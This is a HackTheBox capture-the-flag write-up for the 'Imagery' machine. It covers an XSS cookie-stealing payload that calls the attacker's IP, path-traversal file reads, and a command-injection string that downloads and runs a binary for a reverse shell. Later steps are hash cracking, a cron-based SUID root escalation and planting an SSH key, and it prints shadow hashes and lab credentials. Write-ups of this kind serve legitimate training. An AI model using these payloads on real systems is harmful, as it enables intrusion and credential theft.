HackTheBox - Machine - Imagery

MANESEC on 2025-09-29

Recommend: Let's Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Imagery

image

https://labs.hackthebox.com/achievement/machine/463126/751

Song Summary

plaintext
黑夜之中 scan 到一道光
Web server 嘅大門 為我而開放
"Image Gallery" 係一個迷宮 oh
Bug report 嘅角落 等我嚟發動
我送出一份 payload, a whispered song
偷走 admin 嘅 cookie, a new world where I belong
Admin Panel 嘅光芒, oh I waited so long
Yeah, I'm breaking down the walls...

デジタルの雨に隠された
小さな扉を今見つけた
囁くコードが手招きしてる
世界の裏側へ 

Yeah, 喺後台嘅深處, I can see the flaws
下載 Log 嘅背後, breaking all the laws
沿住文件嘅路徑, 睇穿心中嘅 code
Server 嘅 source code, 秘密 I'll unload
喺張相嘅背後, find a new direction
藏住 command injection, a fatal connection
我嘅 reverse shell, is my reflection
Yeah, it's calling back to me...

錠を壊して、深く潜って
システムのコアに今触れた
真実の光が溢れ出して
全てを照らしてく 

以 web 嘅身份, I'm searching for the keys
喺 backup 嘅深淵, a frozen memory
Hashcat 為我解答, all my enemies
"Bestfriends" 係嗰條鎖匙, what a tragedy
搵到 Mark 嘅 MD5, in another life
I'll crack it one more time, through the lonely night
攞走佢嘅 all the rights, yeah, it feels so right
It's my time to climb...

Yeah, charcol 係終點, the final test for me
Reset 咗 password, now I'm truly free
喺佢嘅 shell 入面, set a simple decree
A scheduled little task, for the world to see
一分鐘後嘅 gift, yeah, it's all for me
Full control of the system, I'm the legacy
由 web bug 到 root, a digital fantasy
Now Imagery is mine... my victory...

機械の心臓で 
静かな息吹を聞く 
デジタルの空は晴れ 
私は静寂、私は光

Nmap

首先使用nmap掃描一下:

bash
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKyy0U7qSOOyGqKW/mnTdFIj9zkAcvMCMWnEhOoQFWUYio6eiBlaFBjhhHuM8hEM0tbeqFbnkQ+6SFDQw6VjP+E=
|   256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleYkGyL8P6lEEXf1+1feCllblPfSRHnQ9znOKhcnNM
8000/tcp open  http    syn-ack Werkzeug httpd 3.1.3 (Python 3.12.7)
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

看到只有 ssh 和 8000端口,看來就是從這裏入手了。

Play with Web

打開8000端口,由於沒有賬號,所以就隨便注冊一個賬號,然後登錄:

image

之後會來到這個界面:

image

Finding XSS injection

玩了一下,沒有發現什麽東西,滑到最下面看到:

image

點擊後會出現:

image

隨便填寫一些東西,然後點擊提交后出現:

image

這個意思是管理員會看你的請求,也就是最可能會出現 XSS 的地方。

所以嘗試一下一些常見的XSS的payload,首先先弄一張圖片,看看是不是真的有xss:

image

bash
<img src="http://10.10.16.48:3333/test"></img>

提交之後等待一會,結果出現:

image

看來就一定是玩XSS了。

按下 F12 觀察一下 cookie 的地方:

image

這裏的 HttpOnly:false ,這意味著可以直接使用 javascript 來存取cookie,所以可以直接使用下面的payload來得到cookie:

bash
<img src="x" onerror="fetch('http://10.10.16.48:3333/?' + btoa(document.cookie) )">

image

由於經過了 base64 編碼,所以要解碼一下:

image

之後得到的cookie填回去:

image

然後刷新一下,就看到右上角有一個 Admin Panel

image

點擊 Admin Panel後會出現:

image

這裏的UI感覺有點bug,所以最有問題。因爲 admin user 和下面的按鈕很不對其,有點反直覺。

Found LFI and Analysis the source code

點擊 Download Log,并且使用burp來截取:

image

嘗試讀取一下 /etc/passwd,看看會不會有 LFI:

bash
GET /admin/get_system_log?log_identifier=../../../../../etc/passwd

image

結果還真有。

枚舉了一下,沒有發現什麽有趣的東西。

然後隨便試一下 ssh:

bash
$ ssh  mark@10.129.81.84

image

可以看到機器只接受 PrivateKey,也就是不接受任何密碼登錄,這意味著如果要得到 shell,就只能從8000端口上找方法拿到 reverse shell。

那就嘗試看一下源代碼,看看有沒有可以獲得 reverse shell 的地方。

首先查看一下 cmdline,看看能不能找出來運行程序的脚本名字:

bash
GET /admin/get_system_log?log_identifier=../../../../../proc/self/cmdline HTTP/1.1

image

可以看到有一個 app.py

然後看一下環境變量:

bash
GET /admin/get_system_log?log_identifier=../../../../../proc/self/environ HTTP/1.1

image

看到他會出現在 /home/web/web 中,所以主程序應該是在 /home/web/web/app.py中。

bash
GET /admin/get_system_log?log_identifier=../../../../../home/web/web/app.py HTTP/1.1

image

但是我喜歡懶一點的方法,因爲知道了名字是 app.py,所以可以這樣的一個一個試一下:

bash
app.py
../app.py
../../app.py
../../../app.py
../../../../app.py
../../../../../app.py

結果在 ../app.py中看到了源代碼:

bash
GET /admin/get_system_log?log_identifier=../app.py

image

然後看到了一堆 from xxx import *

image

這説明這個目錄内還有 xxx.py,由於有一個from config import *,也就是從 config.py中導入一些函數,所以看一下 config.py長什麽樣子:

bash
GET /admin/get_system_log?log_identifier=../config.py

image

裏面定義了一個 db.json,然後在最下面看到:

image

bash
IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'
EXIFTOOL_PATH = '/usr/bin/exiftool'

也就是說程序還會使用外部的一些命令。

看一下 db.json,如下:

bash
GET /admin/get_system_log?log_identifier=../db.json

image

bash
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "displayId": "a1b2c3d4",
            "login_attempts": 0,
            "isTestuser": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "displayId": "e5f6g7h8",
            "login_attempts": 0,
            "isTestuser": true,
            "failed_login_attempts": 0,
            "locked_until": null
        }

其中 testuserisTestuser 被設置成了 true

然後繼續枚舉,看了一下 utils.py

bash
GET /admin/get_system_log?log_identifier=../utils.py 

image

hash 使用的是 md5 進行加密的,所以直接拿上面的兩個hash跑一下hashcat:

bash
$ hashcat.exe hash.txt rockyou.txt -m 0

image

然後就出了一個 testuser 用戶的密碼:

bash
2c65c8d7bfbca32a3ed42596192384f6:iambatman

上面提到,由於一開始的 config.py 中指定了調用兩個外部程序,所以找一下哪個文件會調用到:

image

跟著 app.py 裏面的 from xxx import * 一個一個找,看到:

bash
GET /admin/get_system_log?log_identifier=../api_edit.py

image

在某個地方調用了外部程序。由於看不太清楚所以使用 vscode來看看,結果看到:

image

在上面可以看到 crop 一定有命令行注入,而且下面的代碼中是只有 test user才可以使用這個功能:

image

Login as testuser to gain reverse shell

所以登出,并且使用 testuser來登錄:

image

由於有命令注入的地方來自 crop 的功能,所以隨便上傳一張圖片:

image

然後點擊圖片的右上角有一個 Transform Image

image

點開後就出現:

image

這時候使用 burp 來抓包,并且在隨便一個位置中插入:

image

bash
{"imageId":"eecdd0c9-52f9-4721-99ce-3172e17d9ff5","transformType":"crop","params":{"x":0,"y":0,"width":"; curl 10.10.16.48:3333/mane -o /tmp/mane ; chmod 777 /tmp/mane ; /tmp/mane ; #","height":7}}

然後就得到了 reverse shell。

Shell as web

bash
$ ls

image

枚舉了一段時間,看到 /var/backup 有一個神奇的文件:

bash
$ cd /var/backup

image

Cracking AesCrypt file password with hashcat

看上去是人爲放置的,所以下載下來看一下,使用 file 命令可以看到這個文件的一些其他細節:

bash
$ file web_20250806_120723.zip.aes

image

可以得知,該文件來自 pyAesCrypt,所以嘗試找一下有沒有可以破解密碼的方法,首先我就想到了 hashcat

image

結果在第一篇中看到:https://hashcat.net/forum/thread-9368.html

image

其中上面的圖片中,有一個鏈接是 aescrypt2hashcat.pl,下載下來然後嘗試運行:

bash
$ wget https://raw.githubusercontent.com/hashcat/hashcat/master/tools/aescrypt2hashcat.pl 
$ perl aescrypt2hashcat.pl web_20250806_120723.zip.aes 

image

運行後會得到一個 hash,嘗試破解一下,得到:

image

bash
$aescrypt$1*98b981e1c146c078b5462f09618b1341*0dd95827498496b8c8ca334d99b13c28*10c6eeb86b1d71475fc5d52ed52d67c20bd945d53b9ac0940866bc8dfbba72c1*e042d41d09ac2726044d63af1276c49e2c8d5f9eb9da32e58bf36cf4f0ad9c66:bestfriends

所以壓縮包解密的密碼是bestfriends

Install pyAesCrypt to decrypt the file

由於原來的文件是使用 pyAesCrypt 來加密的,根據官方文檔

image

會看到可以直接使用 -d來解密。

那就準備虛擬環境來安裝一下:

bash
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip3 install pyAesCrypt
$ pyAesCrypt -h   

image

安裝成功后,嘗試解密:

bash
$ pyAesCrypt -d web_20250806_120723.zip.aes 
$ ls -lah web_20250806_120723.zip*
$ unzip -d web web_20250806_120723.zip

image

Cracking mark's hash

然後看一下 db.json,看到:

image

bash
        {                                                                                                                                                                                       
            "username": "mark@imagery.htb",                                                                                                                                                     
            "password": "01c3d2e5bdaf6134cec0a367cf53e535",                                                                                                                                     
            "displayId": "868facaf",                                                                                                                                                            
            "isAdmin": false,                                                                                                                                                                   
            "failed_login_attempts": 0,                                                                                                                                                         
            "locked_until": null,                                                                                                                                                               
            "isTestuser": false                                                                                                                                                                 
        }

這個db.json裏面有 mark的用戶,嘗試hashcat跑一下:

image

得到 mark 的密碼:

bash
01c3d2e5bdaf6134cec0a367cf53e535:supersmash

Shell as mark

然後嘗試 sumark

bash
$ su mark
supersmash

image

就得到了 user.txt

Exploit sudo for charcol

隨手枚舉一下 sudo,看到:

bash
$ sudo -l

image

網上查了一下,沒看到關於這個程序的文檔,看來是自己寫的。

Force Reset password for charcol

玩了一下,好像要密碼:

bash
sudo /usr/local/bin/charcol shell

image

然後看到好像可以重設密碼:

bash
sudo /usr/local/bin/charcol

image

之後嘗試重設密碼,只要求輸入 mark 用戶的密碼就可以重設了:

bash
sudo /usr/local/bin/charcol -R

image

重設了之後,重新進入 shell模式,第一次會問你要一個初始密碼:

bash
sudo /usr/local/bin/charcol shell

image

這裏按下回車后輸入yes就可以設置空密碼。

設置好空的密碼后,再次運行程序得到:

bash
sudo /usr/local/bin/charcol shell

image

Way 1 : Cronjob to execute command with root

然後輸入 help,看到:

image

這意味著可以增加 cronjob 來運行一些root命令,那就設置一個 suid 的bash:

bash
auto add --schedule "* * * * *" --command "cp /bin/bash /bin/mane ; chmod 4777 /bin/mane" --name "<job_name>"

image

等一下就得到了root:

bash
$ mane -p

image

Way 2 : Download ssh key to root

help 的地方中可以看到允許使用 fetch來下載和保存一些文件:

image

這意味著可以下載一個 public key 到root 的ssh中。

所以生成一個隨機的ssh密鑰:

bash
$ ssh-keygen
./key

image

其中 public key保存到 key.pub中。

所以開啓一個 http simple server 嘗試下載:

bash
$ sudo /usr/local/bin/charcol shell
charcol> fetch http://10.10.16.48:6666/key.pub -o /root/.ssh/authorized_keys

image

下載成功了之後,嘗試使用 ssh key來登錄,你會看到:

bash
$ ssh -i key root@10.129.81.84

image

這是因爲 lastlog2 被移除了,所以可以直接在後面加上參數就可以了。

bash
$ ssh -i key root@10.129.81.84 bash 

但是這樣做的後果是沒有 tty,所以手動升級一下tty就好了:

bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

image

這樣就獲得了 root 。

Hashes

bash
mane-5.2# cat /etc/shadow
root:$y$j9T$OVSThp/6ybogilellugDf.$Le2uXxNfrXRiH18puL.GI7fnu2hYxttVASa.OMFvjs4:20286:0:99999:7:::
daemon:*:20003:0:99999:7:::
bin:*:20003:0:99999:7:::
sys:*:20003:0:99999:7:::
sync:*:20003:0:99999:7:::
games:*:20003:0:99999:7:::
man:*:20003:0:99999:7:::
lp:*:20003:0:99999:7:::
mail:*:20003:0:99999:7:::
news:*:20003:0:99999:7:::
uucp:*:20003:0:99999:7:::
proxy:*:20003:0:99999:7:::
www-data:*:20003:0:99999:7:::
backup:*:20003:0:99999:7:::
list:*:20003:0:99999:7:::
irc:*:20003:0:99999:7:::
_apt:*:20003:0:99999:7:::
nobody:*:20003:0:99999:7:::
systemd-network:!*:20003::::::
usbmux:!:20003::::::
systemd-timesync:!*:20003::::::
messagebus:!:20003::::::
systemd-resolve:!*:20003::::::
pollinate:!:20003::::::
polkitd:!*:20003::::::
syslog:!:20003::::::
uuidd:!:20003::::::
tcpdump:!:20003::::::
tss:!:20003::::::
landscape:!:20003::::::
fwupd-refresh:!*:20003::::::
web:$y$j9T$bSJcB7IM6SVHob8SVJQ2X/$L16rTrWlInaJ6EvPTXO3CTiUP88xtNClzOJkwXIIL0D:20303:0:99999:7:::
sshd:!:20283::::::
snapd-range-524288-root:!:20283::::::
snap_daemon:!:20283::::::
mark:$y$j9T$m1reIJvzn7/7hhJ26v8WV1$3zPWU7HPsUn0P133BsMZDar.XmDq1T3AbJrfi.Nc6x3:20350:0:99999:7:::
_laurel:!:20353::::::
dhcpcd:!:20353::::::

More on the box

bash
root@Imagery:/home/web/web/bot# cat admin.py                                                    
from selenium import webdriver                                                                  
from selenium.webdriver.chrome.options import Options                                           
from selenium.webdriver.common.by import By                                                                                                                                                     
from selenium.webdriver.support.ui import WebDriverWait                                                                                                                                         
from selenium.webdriver.support import expected_conditions as EC      
import tempfile, shutil, time, traceback, uuid, os, glob                                        
                                                                                                                                                                                                
# ----- Config -----                                                                                                                                                                            
CHROME_BINARY = "/usr/bin/google-chrome"                                                                                                                                                        
USERNAME = "admin@imagery.htb"                                                                                                                                                                  
PASSWORD = "strongsandofbeach"                                                                                                                                                                  
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"                                                                                                                                                       
APP_URL = "http://0.0.0.0:8000"                                                                                                                                                                 
# ------------------                                          

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 完成 INTRODUCTION TO ACADEMY 這個模塊后可以解鎖更多的功能!

Join HTB's academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first).

Copyright © 2016-2026 manesec. All rights (include theme) reserved.